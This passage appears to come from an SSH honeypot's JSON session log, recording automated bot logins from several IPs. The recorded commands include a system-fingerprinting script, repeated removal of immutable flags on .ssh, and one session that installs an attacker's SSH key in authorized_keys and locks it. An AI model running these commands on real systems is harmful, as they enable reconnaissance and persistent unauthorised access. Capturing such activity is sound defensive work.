/unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:33:39.431390+00:00",
  "ended_at": "2026-08-27T09:33:39.829852+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "12d4e7d4-0945-45e3-b013-898cc95f34d7",
  "name": "inland-faded-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 48876,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:31:46.852287+00:00",
  "ended_at": "2026-08-27T09:31:47.250724+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3b3b47e3-a4f1-4390-895a-6671c9a38b8d",
  "name": "crisp-marbled-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44702,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:24:49.062154+00:00",
  "ended_at": "2026-08-27T08:24:58.620177+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0627a051-cb7d-4548-9f26-e4a1dcd22a72",
  "name": "salty-grassy-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46482,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:18:24.060597+00:00",
  "ended_at": "2026-08-27T08:18:26.041370+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "f29619f9-fd49-4cc3-8c52-a4d3a838c666",
  "name": "regal-wry-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48036,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:18:08.223960+00:00",
  "ended_at": "2026-08-27T08:18:09.355795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a52258ef-1abf-4146-ac32-2ac0ccdddfff",
  "name": "twilight-keen-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 37848,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:53:45.879113+00:00",
  "ended_at": "2026-08-27T07:53:47.990566+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "f456f880-c048-4c4f-b99b-64268d8dd390",
  "name": "regal-umber-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39346,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:53:30.434518+00:00",
  "ended_at": "2026-08-27T07:53:31.936238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00ca3838-07e4-43f2-97b7-a588c7bf3f10",
  "name": "gallant-golden-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 40150,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:32:38.561558+00:00",
  "ended_at": "2026-08-27T07:32:40.464658+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "ce113b37-2b33-42aa-ac86-b7d491967955",
  "name": "reedy-foggy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41568,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:32:24.643961+00:00",
  "ended_at": "2026-08-27T07:32:25.322854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24b22214-e858-4730-bbcd-b41e935ab9f5",
  "name": "burly-gleaming-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 59844,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:05:41.758184+00:00",
  "ended_at": "2026-08-27T07:05:43.200621+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2164
 },
 {
  "id": "3cee7a86-7719-4406-83b9-3cf1558ce46e",
  "name": "leafy-vigilant-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 33216,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:05:25.305640+00:00",
  "ended_at": "2026-08-27T07:05:27.059582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "825fce80-d428-4a34-899c-8c6d10ad5b44",
  "name": "nameless-leafy-raven",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "130.12.180.51",
  "src_port": 36238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-27T06:27:48.262777+00:00",
  "ended_at": "2026-08-27T06:27:48.487552+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1036
 },
 {
  "id": "642715f4-9ae0-4309-8740-5b1d489bcdb6",
  "name": "loyal-gnarled-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.78.2.252",
  "src_port": 49006,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:27:24.405532+00:00",
  "ended_at": "2026-08-27T06:27:24.864158+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c57ce4a0-0d8a-4084-83bb-e2fda119fd8c",
  "name": "bronzed-steady-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 59244,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:40:03.726358+00:00",
  "ended_at": "2026-08-27T05:40:04.250573+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40f70538-dde7-46ec-9a70-9ce085c021d7",
  "name": "russet-hazel-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 53762,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:25:49.231994+00:00",
  "ended_at": "2026-08-27T05:25:49.397657+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "172a93f3-39d4-4314-ba20-f7831639b04f",
  "name": "cunning-sullen-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 50846,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:23:49.195965+00:00",
  "ended_at": "2026-08-27T05:23:49.309845+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "02fb37ba-cd0f-4d8c-bad7-d6432009f582",
  "name": "wistful-whispering-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 47948,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:21:48.124915+00:00",
  "ended_at": "2026-08-27T05:21:48.235000+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7b7bc21e-cbdf-41eb-9fcf-3fb472d2aea3",
  "name": "eager-hidden-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 45072,
